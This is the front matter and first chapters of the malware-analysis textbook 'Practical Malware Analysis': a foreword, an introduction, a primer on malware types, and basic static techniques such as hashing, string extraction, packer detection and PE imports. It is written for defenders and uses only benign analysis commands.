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F O R E W O R D

Few areas of digital security seem as asymmetric as 
those involving malware, defensive tools, and operat-
ing systems.

In the summer of 2011, I attended Peiter (Mudge) Zatko’s keynote at 
Black Hat in Las Vegas, Nevada. During his talk, Mudge introduced the asym-
metric nature of modern software. He explained how he analyzed 9,000 mal-
ware binaries and counted an average of 125 lines of code (LOC) for his 
sample set. 

You might argue that Mudge’s samples included only “simple” or 
“pedestrian” malware. You might ask, what about something truly “weapon-
ized”? Something like (hold your breath)—Stuxnet? According to Larry L. 
Constantine,1 Stuxnet included about 15,000 LOC and was therefore 120 
times the size of a 125 LOC average malware sample. Stuxnet was highly 
specialized and targeted, probably accounting for its above-average size. 

Leaving the malware world for a moment, the text editor I’m using 
(gedit, the GNOME text editor) includes gedit.c with 295 LOC—and gedit.c is 
only one of 128 total source files (along with 3 more directories) published

1. http://www.informit.com/articles/article.aspx?p=1686289



in the GNOME GIT source code repository for gedit.2 Counting all 128 files 
and 3 directories yields 70,484 LOC. The ratio of legitimate application LOC 
to malware is over 500 to 1. Compared to a fairly straightforward tool like a 
text editor, an average malware sample seems very efficient!

Mudge’s 125 LOC number seemed a little low to me, because different 
definitions of “malware” exist. Many malicious applications exist as “suites,” 
with many functions and infrastructure elements. To capture this sort of 
malware, I counted what you could reasonably consider to be the “source” 
elements of the Zeus Trojan (.cpp, .obj, .h, etc.) and counted 253,774 LOC. 
When comparing a program like Zeus to one of Mudge’s average samples, we 
now see a ratio of over 2,000 to 1.

Mudge then compared malware LOC with counts for security products 
meant to intercept and defeat malicious software. He cited 10 million as his 
estimate for the LOC found in modern defensive products. To make the 
math easier, I imagine there are products with at least 12.5 million lines of 
code, bringing the ratio of offensive LOC to defensive LOC into the 100,000 
to 1 level. In other words, for every 1 LOC of offensive firepower, defenders 
write 100,000 LOC of defensive bastion.

Mudge also compared malware LOC to the operating systems those mal-
ware samples are built to subvert. Analysts estimate Windows XP to be built 
from 45 million LOC, and no one knows how many LOC built Windows 7. 
Mudge cited 150 million as a count for modern operating systems, presum-
ably thinking of the latest versions of Windows. Let’s revise that downward 
to 125 million to simplify the math, and we have a 1 million to 1 ratio for 
size of the target operating system to size of the malicious weapon capable 
of abusing it.

Let’s stop to summarize the perspective our LOC counting exercise has 
produced:

120:1 Stuxnet to average malware

500:1 Simple text editor to average malware

2,000:1 Malware suite to average malware

100,000:1 Defensive tool to average malware

1,000,000:1 Target operating system to average malware

From a defender’s point of view, the ratios of defensive tools and target 
operating systems to average malware samples seem fairly bleak. Even swap-
ping the malware suite size for the average size doesn’t appear to improve the 
defender’s situation very much! It looks like defenders (and their vendors) 
expend a lot of effort producing thousands of LOC, only to see it brutalized 
by nifty, nimble intruders sporting far fewer LOC.

What’s a defender to do? The answer is to take a page out of the play-
book used by any leader who is outgunned—redefine an “obstacle” as an 
“opportunity”! Forget about the size of the defensive tools and target operat-
ing systems—there’s not a whole lot you can do about them. Rejoice in the 
fact that malware samples are as small (relatively speaking) as they are. 

2. http://git.gnome.org/browse/gedit/tree/gedit?id=3.3.1
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Imagine trying to understand how a defensive tool works at the source 
code level, where those 12.5 million LOC are waiting. That’s a daunting task, 
although some researchers assign themselves such pet projects. For one 
incredible example, read “Sophail: A Critical Analysis of Sophos Antivirus” 
by Tavis Ormandy,3 also presented at Black Hat Las Vegas in 2011. This sort 
of mammoth analysis is the exception and not the rule.

Instead of worrying about millions of LOC (or hundreds or tens of 
thousands), settle into the area of one thousand or less—the place where 
a significant portion of the world’s malware can be found. As a defender, 
your primary goal with respect to malware is to determine what it does, how 
it manifests in your environment, and what to do about it. When dealing 
with reasonably sized samples and the right skills, you have a chance to 
answer these questions and thereby reduce the risk to your enterprise.

If the malware authors are ready to provide the samples, the authors 
of the book you’re reading are here to provide the skills. Practical Malware 
Analysis is the sort of book I think every malware analyst should keep handy. 
If you’re a beginner, you’re going to read the introductory, hands-on mate-
rial you need to enter the fight. If you’re an intermediate practitioner, it will 
take you to the next level. If you’re an advanced engineer, you’ll find those 
extra gems to push you even higher—and you’ll be able to say “read this fine 
manual” when asked questions by those whom you mentor.

Practical Malware Analysis is really two books in one—first, it’s a text 
showing readers how to analyze modern malware. You could have bought 
the book for that reason alone and benefited greatly from its instruction. 
However, the authors decided to go the extra mile and essentially write a 
second book. This additional tome could have been called Applied Malware 
Analysis, and it consists of the exercises, short answers, and detailed investiga-
tions presented at the end of each chapter and in Appendix C. The authors 
also wrote all the malware they use for examples, ensuring a rich yet safe 
environment for learning.

Therefore, rather than despair at the apparent asymmetries facing digi-
tal defenders, be glad that the malware in question takes the form it cur-
rently does. Armed with books like Practical Malware Analysis, you’ll have the 
edge you need to better detect and respond to intrusions in your enterprise 
or that of your clients. The authors are experts in these realms, and you 
will find advice extracted from the front lines, not theorized in an isolated 
research lab. Enjoy reading this book and know that every piece of malware 
you reverse-engineer and scrutinize raises the opponent’s costs by exposing 
his dark arts to the sunlight of knowledge.

Richard Bejtlich (@taosecurity)
Chief Security Officer, Mandiant and Founder of TaoSecurity
Manassas Park, Virginia
January 2, 2012

3. http://dl.packetstormsecurity.net/papers/virus/Sophail.pdf
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I N T R O D U C T I O N

The phone rings, and the networking guys tell you that 
you’ve been hacked and that your customers’ sensitive 
information is being stolen from your network. You 
begin your investigation by checking your logs to iden-
tify the hosts involved. You scan the hosts with antivirus 
software to find the malicious program, and catch a lucky break when it 
detects a trojan horse named TROJ.snapAK. You delete the file in an attempt 
to clean things up, and you use network capture to create an intrusion detec-
tion system (IDS) signature to make sure no other machines are infected. 
Then you patch the hole that you think the attackers used to break in to 
ensure that it doesn’t happen again. 

Then, several days later, the networking guys are back, telling you that sen-
sitive data is being stolen from your network. It seems like the same attack, but 
you have no idea what to do. Clearly, your IDS signature failed, because more 
machines are infected, and your antivirus software isn’t providing enough pro-
tection to isolate the threat. Now upper management demands an explanation 
of what happened, and all you can tell them about the malware is that it was 
TROJ.snapAK. You don’t have the answers to the most important questions, 
and you’re looking kind of lame. 



How do you determine exactly what TROJ.snapAK does so you can elim-
inate the threat? How do you write a more effective network signature? How 
can you find out if any other machines are infected with this malware? 
How can you make sure you’ve deleted the entire malware package and 
not just one part of it? How can you answer management’s questions about 
what the malicious program does? 

All you can do is tell your boss that you need to hire expensive outside 
consultants because you can’t protect your own network. That’s not really 
the best way to keep your job secure.

Ah, but fortunately, you were smart enough to pick up a copy of Practical 
Malware Analysis. The skills you’ll learn in this book will teach you how to 
answer those hard questions and show you how to protect your network from 
malware.

What Is Malware Analysis?

Malicious software, or malware, plays a part in most computer intrusion and 
security incidents. Any software that does something that causes harm to a 
user, computer, or network can be considered malware, including viruses, 
trojan horses, worms, rootkits, scareware, and spyware. While the various 
malware incarnations do all sorts of different things (as you’ll see throughout 
this book), as malware analysts, we have a core set of tools and techniques at 
our disposal for analyzing malware. 

Malware analysis is the art of dissecting malware to understand how it 
works, how to identify it, and how to defeat or eliminate it. And you don’t 
need to be an uber-hacker to perform malware analysis.

With millions of malicious programs in the wild, and more encountered 
every day, malware analysis is critical for anyone who responds to computer 
security incidents. And, with a shortage of malware analysis professionals, the 
skilled malware analyst is in serious demand. 

That said, this is not a book on how to find malware. Our focus is on how 
to analyze malware once it has been found. We focus on malware found on 
the Windows operating system—by far the most common operating system in 
use today—but the skills you learn will serve you well when analyzing mal-
ware on any operating system. We also focus on executables, since they are 
the most common and the most difficult files that you’ll encounter. At the 
same time, we’ve chosen to avoid discussing malicious scripts and Java pro-
grams. Instead, we dive deep into the methods used for dissecting advanced 
threats, such as backdoors, covert malware, and rootkits.

Prerequisites

Regardless of your background or experience with malware analysis, you’ll 
find something useful in this book. 

Chapters 1 through 3 discuss basic malware analysis techniques that 
even those with no security or programming experience will be able to use 
to perform malware triage. Chapters 4 through 14 cover more intermediate 
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material that will arm you with the major tools and skills needed to analyze 
most malicious programs. These chapters do require some knowledge of 
programming. The more advanced material in Chapters 15 through 19 will 
be useful even for seasoned malware analysts because it covers strategies 
and techniques for analyzing even the most sophisticated malicious pro-
grams, such as programs utilizing anti-disassembly, anti-debugging, or 
packing techniques.

This book will teach you how and when to use various malware analysis 
techniques. Understanding when to use a particular technique can be as 
important as knowing the technique, because using the wrong technique in 
the wrong situation can be a frustrating waste of time. We don’t cover every 
tool, because tools change all the time and it’s the core skills that are 
important. Also, we use realistic malware samples throughout the book 
(which you can download from http://www.practicalmalwareanalysis.com/ or 
http://www.nostarch.com/malware.htm) to expose you to the types of things 
that you’ll see when analyzing real-world malware. 

Practical, Hands-On Learning

Our extensive experience teaching professional reverse-engineering and 
malware analysis classes has taught us that students learn best when they get 
to practice the skills they are learning. We’ve found that the quality of the 
labs is as important as the quality of the lecture, and without a lab compo-
nent, it’s nearly impossible to learn how to analyze malware. 

To that end, lab exercises at the end of most chapters allow you to prac-
tice the skills taught in that chapter. These labs challenge you with realistic 
malware designed to demonstrate the most common types of behavior that 
you’ll encounter in real-world malware. The labs are designed to reinforce 
the concepts taught in the chapter without overwhelming you with unrelated 
information. Each lab includes one or more malicious files (which can be 
downloaded from http://www.practicalmalwareanalysis.com/ or http://www
.nostarch.com/malware.htm), some questions to guide you through the lab, 
short answers to the questions, and a detailed analysis of the malware. 

The labs are meant to simulate realistic malware analysis scenarios. As 
such, they have generic filenames that provide no insight into the functional-
ity of the malware. As with real malware, you’ll start with no information, and 
you’ll need to use the skills you’ve learned to gather clues and figure out 
what the malware does.

The amount of time required for each lab will depend on your experi-
ence. You can try to complete the lab yourself, or follow along with the 
detailed analysis to see how the various techniques are used in practice.

Most chapters contain three labs. The first lab is generally the easiest, 
and most readers should be able to complete it. The second lab is meant to 
be moderately difficult, and most readers will require some assistance from 
the solutions. The third lab is meant to be difficult, and only the most adept 
readers will be able to complete it without help from the solutions. 
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What’s in the Book?

Practical Malware Analysis begins with easy methods that can be used to get 
information from relatively unsophisticated malicious programs, and pro-
ceeds with increasingly complicated techniques that can be used to tackle 
even the most sophisticated malicious programs. Here’s what you’ll find in 
each chapter:

 Chapter 0, “Malware Analysis Primer,” establishes the overall process and 
methodology of analyzing malware.

 Chapter 1, “Basic Static Techniques,” teaches ways to get information 
from an executable without running it.

 Chapter 2, “Malware Analysis in Virtual Machines,” walks you through 
setting up virtual machines to use as a safe environment for running 
malware.

 Chapter 3, “Basic Dynamic Analysis,” teaches easy-to-use but effective 
techniques for analyzing a malicious program by running it.

 Chapter 4, “A Crash Course in x86 Assembly,” is an introduction to the 
x86 assembly language, which provides a foundation for using IDA Pro 
and performing in-depth analysis of malware.

 Chapter 5, “IDA Pro,” shows you how to use IDA Pro, one of the most 
important malware analysis tools. We’ll use IDA Pro throughout the 
remainder of the book.

 Chapter 6, “Recognizing C Code Constructs in Assembly,” provides 
examples of C code in assembly and teaches you how to understand 
the high-level functionality of assembly code.

 Chapter 7, “Analyzing Malicious Windows Programs,” covers a wide range 
of Windows-specific concepts that are necessary for understanding mali-
cious Windows programs.

 Chapter 8, “Debugging,” explains the basics of debugging and how to 
use a debugger for malware analysts.

 Chapter 9, “OllyDbg,” shows you how to use OllyDbg, the most popular 
debugger for malware analysts.

 Chapter 10, “Kernel Debugging with WinDbg,” covers how to use the 
WinDbg debugger to analyze kernel-mode malware and rootkits.

 Chapter 11, “Malware Behavior,” describes common malware functional-
ity and shows you how to recognize that functionality when analyzing 
malware.

 Chapter 12, “Covert Malware Launching,” discusses how to analyze a par-
ticularly stealthy class of malicious programs that hide their execution 
within another process.

 Chapter 13, “Data Encoding,” demonstrates how malware may encode 
data in order to make it harder to identify its activities in network traffic 
or on the victim host.
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 Chapter 14, “Malware-Focused Network Signatures,” teaches you how to 
use malware analysis to create network signatures that outperform signa-
tures made from captured traffic alone.

 Chapter 15, “Anti-Disassembly,” explains how some malware authors 
design their malware so that it is hard to disassemble, and how to recog-
nize and defeat these techniques.

 Chapter 16, “Anti-Debugging,” describes the tricks that malware authors 
use to make their code difficult to debug and how to overcome those 
roadblocks.

 Chapter 17, “Anti-Virtual Machine Techniques,” demonstrates tech-
niques used by malware to make it difficult to analyze in a virtual 
machine and how to bypass those techniques.

 Chapter 18, “Packers and Unpacking,” teaches you how malware uses 
packing to hide its true purpose, and then provides a step-by-step 
approach for unpacking packed programs.

 Chapter 19, “Shellcode Analysis,” explains what shellcode is and presents 
tips and tricks specific to analyzing malicious shellcode.

 Chapter 20, “C++ Analysis,” instructs you on how C++ code looks differ-
ent once it is compiled and how to perform analysis on malware created 
using C++.

 Chapter 21, “64-Bit Malware,” discusses why malware authors may use 64-bit 
malware and what you need to know about the differences between x86 
and x64.

 Appendix A, “Important Windows Functions,” briefly describes Windows 
functions commonly used in malware.

 Appendix B, “Tools for Malware Analysis,” lists useful tools for malware 
analysts.

 Appendix C, “Solutions to Labs,” provides the solutions for the labs 
included in the chapters throughout the book.

Our goal throughout this book is to arm you with the skills to analyze 
and defeat malware of all types. As you’ll see, we cover a lot of material and 
use labs to reinforce the material. By the time you’ve finished this book, you 
will have learned the skills you need to analyze any malware, including simple 
techniques for quickly analyzing ordinary malware and complex, sophisti-
cated ones for analyzing even the most enigmatic malware.

Let’s get started.
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M A L W A R E  A N A L Y S I S  P R I M E R

Before we get into the specifics of how to analyze mal-
ware, we need to define some terminology, cover com-
mon types of malware, and introduce the fundamental 
approaches to malware analysis. Any software that does 
something that causes detriment to the user, computer, or network—such as 
viruses, trojan horses, worms, rootkits, scareware, and spyware—can be con-
sidered malware. While malware appears in many different forms, common 
techniques are used to analyze malware. Your choice of which technique to 
employ will depend on your goals.

The Goals of Malware Analysis

The purpose of malware analysis is usually to provide the information you 
need to respond to a network intrusion. Your goals will typically be to deter-
mine exactly what happened, and to ensure that you’ve located all infected 
machines and files. When analyzing suspected malware, your goal will typi-
cally be to determine exactly what a particular suspect binary can do, how to 
detect it on your network, and how to measure and contain its damage.



Once you identify which files require full analysis, it’s time to develop 
signatures to detect malware infections on your network. As you’ll learn 
throughout this book, malware analysis can be used to develop host-based 
and network signatures. 

Host-based signatures, or indicators, are used to detect malicious code on 
victim computers. These indicators often identify files created or modified by 
the malware or specific changes that it makes to the registry. Unlike antivirus 
signatures, malware indicators focus on what the malware does to a system, 
not on the characteristics of the malware itself, which makes them more 
effective in detecting malware that changes form or that has been deleted 
from the hard disk.

Network signatures are used to detect malicious code by monitoring net-
work traffic. Network signatures can be created without malware analysis, but 
signatures created with the help of malware analysis are usually far more 
effective, offering a higher detection rate and fewer false positives.

After obtaining the signatures, the final objective is to figure out exactly 
how the malware works. This is often the most asked question by senior man-
agement, who want a full explanation of a major intrusion. The in-depth 
techniques you’ll learn in this book will allow you to determine the purpose 
and capabilities of malicious programs.

Malware Analysis Techniques

Most often, when performing malware analysis, you’ll have only the malware 
executable, which won’t be human-readable. In order to make sense of it, 
you’ll use a variety of tools and tricks, each revealing a small amount of infor-
mation. You’ll need to use a variety of tools in order to see the full picture. 

There are two fundamental approaches to malware analysis: static and 
dynamic. Static analysis involves examining the malware without running it. 
Dynamic analysis involves running the malware. Both techniques are further 
categorized as basic or advanced. 

Basic Static Analysis
Basic static analysis consists of examining the executable file without viewing 
the actual instructions. Basic static analysis can confirm whether a file is mali-
cious, provide information about its functionality, and sometimes provide 
information that will allow you to produce simple network signatures. Basic 
static analysis is straightforward and can be quick, but it’s largely ineffective 
against sophisticated malware, and it can miss important behaviors.

Basic Dynamic Analysis
Basic dynamic analysis techniques involve running the malware and observ-
ing its behavior on the system in order to remove the infection, produce 
effective signatures, or both. However, before you can run malware safely, 
you must set up an environment that will allow you to study the running 
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malware without risk of damage to your system or network. Like basic static 
analysis techniques, basic dynamic analysis techniques can be used by most 
people without deep programming knowledge, but they won’t be effective 
with all malware and can miss important functionality.

Advanced Static Analysis
Advanced static analysis consists of reverse-engineering the malware’s internals 
by loading the executable into a disassembler and looking at the program 
instructions in order to discover what the program does. The instructions are 
executed by the CPU, so advanced static analysis tells you exactly what the pro-
gram does. However, advanced static analysis has a steeper learning curve than 
basic static analysis and requires specialized knowledge of disassembly, code 
constructs, and Windows operating system concepts, all of which you’ll learn in 
this book. 

Advanced Dynamic Analysis
Advanced dynamic analysis uses a debugger to examine the internal state of a 
running malicious executable. Advanced dynamic analysis techniques pro-
vide another way to extract detailed information from an executable. These 
techniques are most useful when you’re trying to obtain information that is 
difficult to gather with the other techniques. In this book, we’ll show you 
how to use advanced dynamic analysis together with advanced static analysis 
in order to completely analyze suspected malware.

Types of Malware

When performing malware analysis, you will find that you can often speed up 
your analysis by making educated guesses about what the malware is trying to 
do and then confirming those hypotheses. Of course, you’ll be able to make 
better guesses if you know the kinds of things that malware usually does. To 
that end, here are the categories that most malware falls into:

Backdoor Malicious code that installs itself onto a computer to allow 
the attacker access. Backdoors usually let the attacker connect to the 
computer with little or no authentication and execute commands on the 
local system.

Botnet Similar to a backdoor, in that it allows the attacker access to the 
system, but all computers infected with the same botnet receive the same 
instructions from a single command-and-control server.

Downloader Malicious code that exists only to download other mali-
cious code. Downloaders are commonly installed by attackers when they 
first gain access to a system. The downloader program will download and 
install additional malicious code.
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Information-stealing malware Malware that collects information from a 
victim’s computer and usually sends it to the attacker. Examples include 
sniffers, password hash grabbers, and keyloggers. This malware is typically 
used to gain access to online accounts such as email or online banking.

Launcher Malicious program used to launch other malicious programs. 
Usually, launchers use nontraditional techniques to launch other mali-
cious programs in order to ensure stealth or greater access to a system.

Rootkit Malicious code designed to conceal the existence of other 
code. Rootkits are usually paired with other malware, such as a backdoor, 
to allow remote access to the attacker and make the code difficult for the 
victim to detect.

Scareware Malware designed to frighten an infected user into buying 
something. It usually has a user interface that makes it look like an anti-
virus or other security program. It informs users that there is malicious 
code on their system and that the only way to get rid of it is to buy their 
“software,” when in reality, the software it’s selling does nothing more 
than remove the scareware.

Spam-sending malware Malware that infects a user’s machine and then 
uses that machine to send spam. This malware generates income for 
attackers by allowing them to sell spam-sending services.

Worm or virus Malicious code that can copy itself and infect additional 
computers.

Malware often spans multiple categories. For example, a program 
might have a keylogger that collects passwords and a worm component that 
sends spam. Don’t get too caught up in classifying malware according to its 
functionality.

Malware can also be classified based on whether the attacker’s objective is 
mass or targeted. Mass malware, such as scareware, takes the shotgun approach 
and is designed to affect as many machines as possible. Of the two objectives, 
it’s the most common, and is usually the less sophisticated and easier to detect 
and defend against because security software targets it. 

Targeted malware, like a one-of-a-kind backdoor, is tailored to a spe-
cific organization. Targeted malware is a bigger threat to networks than 
mass malware, because it is not widespread and your security products 
probably won’t protect you from it. Without a detailed analysis of targeted 
malware, it is nearly impossible to protect your network against that mal-
ware and to remove infections. Targeted malware is usually very sophisti-
cated, and your analysis will often require the advanced analysis skills 
covered in this book.
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General Rules for Malware Analysis

We’ll finish this primer with several rules to keep in mind when performing 
analysis. 

First, don’t get too caught up in the details. Most malware programs are 
large and complex, and you can’t possibly understand every detail. Focus 
instead on the key features. When you run into difficult and complex sec-
tions, try to get a general overview before you get stuck in the weeds. 

Second, remember that different tools and approaches are available for 
different jobs. There is no one approach. Every situation is different, and the 
various tools and techniques that you’ll learn will have similar and sometimes 
overlapping functionality. If you’re not having luck with one tool, try another. 
If you get stuck, don’t spend too long on any one issue; move on to some-
thing else. Try analyzing the malware from a different angle, or just try a dif-
ferent approach.

Finally, remember that malware analysis is like a cat-and-mouse game. As 
new malware analysis techniques are developed, malware authors respond 
with new techniques to thwart analysis. To succeed as a malware analyst, you 
must be able to recognize, understand, and defeat these techniques, and 
respond to changes in the art of malware analysis.
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B A S I C  S T A T I C  T E C H N I Q U E S

We begin our exploration of malware analysis with 
static analysis, which is usually the first step in studying 
malware. Static analysis describes the process of analyz-
ing the code or structure of a program to determine its 
function. The program itself is not run at this time. In 
contrast, when performing dynamic analysis, the analyst 
actually runs the program, as you’ll learn in Chapter 3.

This chapter discusses multiple ways to extract useful information from 
executables. In this chapter, we’ll discuss the following techniques:

 Using antivirus tools to confirm maliciousness

 Using hashes to identify malware

 Gleaning information from a file’s strings, functions, and headers

Each technique can provide different information, and the ones you use 
depend on your goals. Typically, you’ll use several techniques to gather as 
much information as possible.



Antivirus Scanning: A Useful First Step

When first analyzing prospective malware, a good first step is to run it 
through multiple antivirus programs, which may already have identified it. 
But antivirus tools are certainly not perfect. They rely mainly on a database 
of identifiable pieces of known suspicious code ( file signatures), as well as 
behavioral and pattern-matching analysis (heuristics) to identify suspect 
files. One problem is that malware writers can easily modify their code, 
thereby changing their program’s signature and evading virus scanners. 
Also, rare malware often goes undetected by antivirus software because it’s 
simply not in the database. Finally, heuristics, while often successful in 
identifying unknown malicious code, can be bypassed by new and unique 
malware.

Because the various antivirus programs use different signatures and 
heuristics, it’s useful to run several different antivirus programs against the 
same piece of suspected malware. Websites such as VirusTotal (http://www
.virustotal.com/) allow you to upload a file for scanning by multiple antivirus 
engines. VirusTotal generates a report that provides the total number of 
engines that marked the file as malicious, the malware name, and, if avail-
able, additional information about the malware.

Hashing: A Fingerprint for Malware

Hashing is a common method used to uniquely identify malware. The mali-
cious software is run through a hashing program that produces a unique 
hash that identifies that malware (a sort of fingerprint). The Message-Digest 
Algorithm 5 (MD5) hash function is the one most commonly used for 
malware analysis, though the Secure Hash Algorithm 1 (SHA-1) is also 
popular.

For example, using the freely available md5deep program to calculate the 
hash of the Solitaire program that comes with Windows would generate the 
following output: 

C:\>md5deep c:\WINDOWS\system32\sol.exe
373e7a863a1a345c60edb9e20ec3231  c:\WINDOWS\system32\sol.exe

The hash is 373e7a863a1a345c60edb9e20ec3231.
The GUI-based WinMD5 calculator, shown in Figure 1-1, can calculate 

and display hashes for several files at a time.
Once you have a unique hash for a piece of malware, you can use it as 

follows:

 Use the hash as a label.

 Share that hash with other analysts to help them to identify malware.

 Search for that hash online to see if the file has already been identified.
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Figure 1-1: Output of WinMD5

Finding Strings

A string in a program is a sequence of characters such as “the.” A program 
contains strings if it prints a message, connects to a URL, or copies a file to a 
specific location. 

Searching through the strings can be a simple way to get hints about 
the functionality of a program. For example, if the program accesses a URL, 
then you will see the URL accessed stored as a string in the program. You can 
use the Strings program (http://bit.ly/ic4plL), to search an executable for 
strings, which are typically stored in either ASCII or Unicode format. 

NOTE Microsoft uses the term wide character string to describe its implementation of Uni-
code strings, which varies slightly from the Unicode standards. Throughout this book, 
when we refer to Unicode, we are referring to the Microsoft implementation.

Both ASCII and Unicode formats store characters in sequences that end 
with a NULL terminator to indicate that the string is complete. ASCII strings 
use 1 byte per character, and Unicode uses 2 bytes per character.

Figure 1-2 shows the string BAD stored as ASCII. The ASCII string is stored 
as the bytes 0x42, 0x41, 0x44, and 0x00, where 0x42 is the ASCII representa-
tion of a capital letter B, 0x41 represents the letter A, and so on. The 0x00 at 
the end is the NULL terminator. 

Figure 1-2: ASCII representation of the string BAD

Figure 1-3 shows the string BAD stored as Unicode. The Unicode string is 
stored as the bytes 0x42, 0x00, 0x41, and so on. A capital B is represented by 
the bytes 0x42 and 0x00, and the NULL terminator is two 0x00 bytes in a row.

B A D NULL Terminator

ASCII

42 41 44 00
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Figure 1-3: Unicode representation of the string BAD

When Strings searches an executable for ASCII and Unicode strings, it 
ignores context and formatting, so that it can analyze any file type and detect 
strings across an entire file (though this also means that it may identify bytes 
of characters as strings when they are not). Strings searches for a three-letter 
or greater sequence of ASCII and Unicode characters, followed by a string 
termination character. 

Sometimes the strings detected by the Strings program are not actual 
strings. For example, if Strings finds the sequence of bytes 0x56, 0x50, 0x33, 
0x00, it will interpret that as the string VP3. But those bytes may not actually 
represent that string; they could be a memory address, CPU instructions, or 
data used by the program. Strings leaves it up to the user to filter out the 
invalid strings. 

Fortunately, most invalid strings are obvious, because they do not repre-
sent legitimate text. For example, the following excerpt shows the result of 
running Strings against the file bp6.ex_: 

C:>strings bp6.ex_
VP3
VW3
t$@
D$4
99.124.22.1 
e-@
GetLayout 
GDI32.DLL 
SetLayout 
M}C
Mail system DLL is invalid.!Send Mail failed to send message. 

In this example, the bold strings can be ignored. Typically, if a string is 
short and doesn’t correspond to words, it’s probably meaningless.

On the other hand, the strings GetLayout at  and SetLayout at  are Win-
dows functions used by the Windows graphics library. We can easily identify 
these as meaningful strings because Windows function names normally begin 
with a capital letter and subsequent words also begin with a capital letter.

GDI32.DLL at  is meaningful because it’s the name of a common Windows 
dynamic link library (DLL) used by graphics programs. (DLL files contain exe-
cutable code that is shared among multiple applications.)

As you might imagine, the number 99.124.22.1 at  is an IP address—
most likely one that the malware will use in some fashion.

Finally, at , Mail system DLL is invalid.!Send Mail failed to send message. 
is an error message. Often, the most useful information obtained by run-
ning Strings is found in error messages. This particular message reveals two 

B A D NULL Terminator

Unicode

42 00 41 00 44 00 00 00
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things: The subject malware sends messages (probably through email), and it 
depends on a mail system DLL. This information suggests that we might want 
to check email logs for suspicious traffic, and that another DLL (Mail system 
DLL) might be associated with this particular malware. Note that the missing 
DLL itself is not necessarily malicious; malware often uses legitimate libraries 
and DLLs to further its goals.

Packed and Obfuscated Malware

Malware writers often use packing or obfuscation to make their files more 
difficult to detect or analyze. Obfuscated programs are ones whose execution 
the malware author has attempted to hide. Packed programs are a subset of 
obfuscated programs in which the malicious program is compressed and can-
not be analyzed. Both techniques will severely limit your attempts to statically 
analyze the malware.

Legitimate programs almost always include many strings. Malware that is 
packed or obfuscated contains very few strings. If upon searching a program 
with Strings, you find that it has only a few strings, it is probably either obfus-
cated or packed, suggesting that it may be malicious. You’ll likely need to 
throw more than static analysis at it in order to investigate further.

NOTE Packed and obfuscated code will often include at least the functions LoadLibrary and 
GetProcAddress, which are used to load and gain access to additional functions. 

Packing Files
When the packed program is run, a small wrapper program also runs to 
decompress the packed file and then run the unpacked file, as shown in Fig-
ure 1-4. When a packed program is analyzed statically, only the small wrapper 
program can be dissected. (Chapter 18 discusses packing and unpacking in 
more detail.)

Figure 1-4: The file on the left is the original executable, with all strings, 
imports, and other information visible. On the right is a packed execut-
able. All of the packed file’s strings, imports, and other information are 
compressed and invisible to most static analysis tools.

Wrapper Program

Original Executable

(Strings and other 
information visible)

Packed Executable

(Strings and other 
information not 

visible)

Start
Start
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Detecting Packers with PEiD
One way to detect packed files is with the PEiD program. You can use PEiD 
to detect the type of packer or compiler employed to build an application, 
which makes analyzing the packed file much easier. Figure 1-5 shows infor-
mation about the orig_af2.ex_ file as reported by PEiD.

Figure 1-5: The PEiD program

NOTE Development and support for PEiD has been discontinued since April 2011, but it’s 
still the best tool available for packer and compiler detection. In many cases, it will also 
identify which packer was used to pack the file. 

As you can see, PEiD has identified the file as being packed with UPX 
version 0.89.6-1.02 or 1.05-2.90. (Just ignore the other information shown 
here for now. We’ll examine this program in more detail in Chapter 18.)

When a program is packed, you must unpack it in order to be able to 
perform any analysis. The unpacking process is often complex and is covered 
in detail in Chapter 18, but the UPX packing program is so popular and easy 
to use for unpacking that it deserves special mention here. For example, to 
unpack malware packed with UPX, you would simply download UPX (http://
upx.sourceforge.net/) and run it like so, using the packed program as input:

upx -d PackedProgram.exe

NOTE Many PEiD plug-ins will run the malware executable without warning! (See Chapter 2 
to learn how to set up a safe environment for running malware.) Also, like all pro-
grams, especially those used for malware analysis, PEiD can be subject to vulnerabili-
ties. For example, PEiD version 0.92 contained a buffer overflow that allowed an 
attacker to execute arbitrary code. This would have allowed a clever malware writer to 
write a program to exploit the malware analyst’s machine. Be sure to use the latest ver-
sion of PEiD.

Portable Executable File Format

So far, we have discussed tools that scan executables without regard to their 
format. However, the format of a file can reveal a lot about the program’s 
functionality. 
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The Portable Executable (PE) file format is used by Windows execut-
ables, object code, and DLLs. The PE file format is a data structure that 
contains the information necessary for the Windows OS loader to manage 
the wrapped executable code. Nearly every file with executable code that is 
loaded by Windows is in the PE file format, though some legacy file formats 
do appear on rare occasion in malware. 

PE files begin with a header that includes information about the code, 
the type of application, required library functions, and space requirements. 
The information in the PE header is of great value to the malware analyst.

Linked Libraries and Functions

One of the most useful pieces of information that we can gather about an 
executable is the list of functions that it imports. Imports are functions used 
by one program that are actually stored in a different program, such as code 
libraries that contain functionality common to many programs. Code librar-
ies can be connected to the main executable by linking. 

Programmers link imports to their programs so that they don’t need to 
re-implement certain functionality in multiple programs. Code libraries can 
be linked statically, at runtime, or dynamically. Knowing how the library code 
is linked is critical to our understanding of malware because the information 
we can find in the PE file header depends on how the library code has been 
linked. We’ll discuss several tools for viewing an executable’s imported func-
tions in this section.

Static, Runtime, and Dynamic Linking
Static linking is the least commonly used method of linking libraries, although 
it is common in UNIX and Linux programs. When a library is statically linked 
to an executable, all code from that library is copied into the executable, which 
makes the executable grow in size. When analyzing code, it’s difficult to differ-
entiate between statically linked code and the executable’s own code, because 
nothing in the PE file header indicates that the file contains linked code. 

While unpopular in friendly programs, runtime linking is commonly used 
in malware, especially when it’s packed or obfuscated. Executables that use 
runtime linking connect to libraries only when that function is needed, not 
at program start, as with dynamically linked programs.

Several Microsoft Windows functions allow programmers to import 
linked functions not listed in a program’s file header. Of these, the two most 
commonly used are LoadLibrary and GetProcAddress. LdrGetProcAddress and 
LdrLoadDll are also used. LoadLibrary and GetProcAddress allow a program to 
access any function in any library on the system, which means that when 
these functions are used, you can’t tell statically which functions are being 
linked to by the suspect program.
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Of all linking methods, dynamic linking is the most common and the most 
interesting for malware analysts. When libraries are dynamically linked, the 
host OS searches for the necessary libraries when the program is loaded. 
When the program calls the linked library function, that function executes 
within the library.

The PE file header stores information about every library that will be 
loaded and every function that will be used by the program. The libraries 
used and functions called are often the most important parts of a program, 
and identifying them is particularly important, because it allows us to guess 
at what the program does. For example, if a program imports the function 
URLDownloadToFile, you might guess that it connects to the Internet to down-
load some content that it then stores in a local file.

Exploring Dynamically Linked Functions with Dependency Walker
The Dependency Walker program (http://www.dependencywalker.com/), distrib-
uted with some versions of Microsoft Visual Studio and other Microsoft devel-
opment packages, lists only dynamically linked functions in an executable.

